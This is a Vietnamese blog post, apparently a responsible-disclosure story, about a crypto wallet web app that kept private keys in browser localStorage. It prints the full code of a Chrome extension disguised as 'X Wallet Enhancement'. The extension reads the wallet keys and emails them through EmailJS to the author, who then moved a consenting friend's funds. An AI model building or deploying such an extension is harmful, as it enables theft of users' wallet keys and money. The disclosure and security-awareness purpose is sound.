Vào tháng 1 năm 2022, tôi tham gia cộng đồng của một trong những chuỗi khối bằng chứng cổ phần. Để tận dụng những gì giao thức và hệ sinh thái của nó cung cấp, tôi đã tạo một tài khoản ví trên trang web chính thức https://wallet.****.org
. Ngoài sự tò mò chung, tôi còn quan tâm đến cách họ đạt được tính bảo mật trong trình duyệt, đặc biệt là trong thời đại tiện ích mở rộng và các lỗ hổng phía máy khách.
Hóa ra là khi người dùng đăng nhập, ứng dụng ví (được tích hợp trong React) đã tạo ra một bộ khóa chung và khóa riêng và lưu trữ chúng trong bộ nhớ cục bộ của trình duyệt. Với kinh nghiệm xây dựng xác thực và ủy quyền trong các hệ thống phân tán, tôi biết đây không phải là điều tốt nhất nên làm – nói chung, tiện ích mở rộng trình duyệt và mã phía máy khách có thể dễ dàng đọc dữ liệu từ bộ nhớ cục bộ[ 1 ].
Để chứng minh điều này, tôi quyết định viết một tiện ích mở rộng đơn giản cho Chrome để lấy khóa từ trình duyệt của nạn nhân và gửi chúng đến địa chỉ email ẩn danh của tôi.
Thư mục gốc của tiện ích mở rộng móc túi của tôi trông như thế này:
. ├── content.js ├── email.min.js ├── index.html └── manifest.json
Các tệp chính là tệp manifest.json
và content.js
. Cái trước là cần thiết để cài đặt phần mở rộng.
{ "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }
email.min.js
chỉ là một thư viện ứng dụng khách từ một trong các dịch vụ đám mây cho phép bạn gửi email trực tiếp từ trình duyệt mà không cần bất kỳ mã máy chủ nào. index.html
là một trang HTML trống không hiển thị gì cả. Logic chiếm quyền điều khiển ví nằm trong tệp content.js
:
emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });
Vâng, một kịch bản giả như vậy.
Tôi đã đóng gói tất cả bốn tệp vào một kho lưu trữ zip và vui lòng nhờ bạn tôi, người cũng có ví tại https://wallet.***.org
, cài đặt tác phẩm của tôi trong trình duyệt của anh ấy (giả vờ thực hiện một số kỹ thuật xã hội). Trước khi làm vậy, tôi kể cho anh ấy nghe về những phát hiện của tôi và lý thuyết mà tôi đang cố gắng chứng minh. Anh ấy rất vui được giúp đỡ và khóa công khai và riêng tư của tài khoản ví này đã xuất hiện trong hộp thư đến của tôi vài giây sau khi cài đặt tiện ích mở rộng trình duyệt. Tiếp theo, tôi lưu khóa vào bộ nhớ cục bộ trong trình duyệt của mình và mở trang web ví.
Điều đáng ngạc nhiên là tôi đã có sẵn số dư trong ví tiền điện tử của bạn tôi cùng với tùy chọn rút tiền. Trong cuộc gọi Zoom với người bạn nạn nhân của mình, tôi đã chuyển một số tiền của anh ấy sang một tài khoản ẩn danh và quay lại. Thật là choáng váng! Một blockchain mới đầy hứa hẹn gần đây đã kết thúc một vòng đầu tư nhưng có một lỗ hổng lớn trong ví của nó. Tệ nhất là họ có xác thực 2 yếu tố cho người dùng. Tất nhiên, không có nhiều người kích hoạt nó ngay lập tức và nhiều người đã không làm vậy.
Với tư cách là một nhà phát triển có đạo đức, tôi đã tạo một báo cáo về lỗ hổng bảo mật, bao gồm mã nguồn của tiện ích mở rộng trình duyệt và suy nghĩ của tôi về cách cải thiện tính bảo mật của ứng dụng web. Nó đã được gửi trực tiếp đến địa chỉ email của nhóm bảo mật vào ngày 18 tháng 1. Vài ngày sau, tôi có cuộc gọi với CISO của giao thức blockchain, người này đảm bảo với tôi rằng họ đã biết về vấn đề này và sẽ giải quyết nó trong bản phát hành tiếp theo. Tôi hơi thất vọng với tốc độ phản ứng với sự việc. Hai ngày là vô tận khi nói về tiền của người dùng. Tuy nhiên, các nhà phát triển blockchain đã cấp cho tôi mã thông báo của họ với số tiền tương đương 1000 USDT.
👉🏻 Lời khuyên dành cho các nhà phát triển ứng dụng: hãy lưu ý đến các công nghệ bạn sử dụng và các khía cạnh bảo mật của chúng.
💡 Lời khuyên dành cho người dùng tiền điện tử: tìm hiểu các tùy chọn bảo mật mà tổ chức cung cấp cho bạn, kích hoạt xác thực hai yếu tố ngay khi bạn tạo tài khoản ví, không lưu trữ tất cả tiền của bạn trong ví nóng.
Cũng được xuất bản ở đây .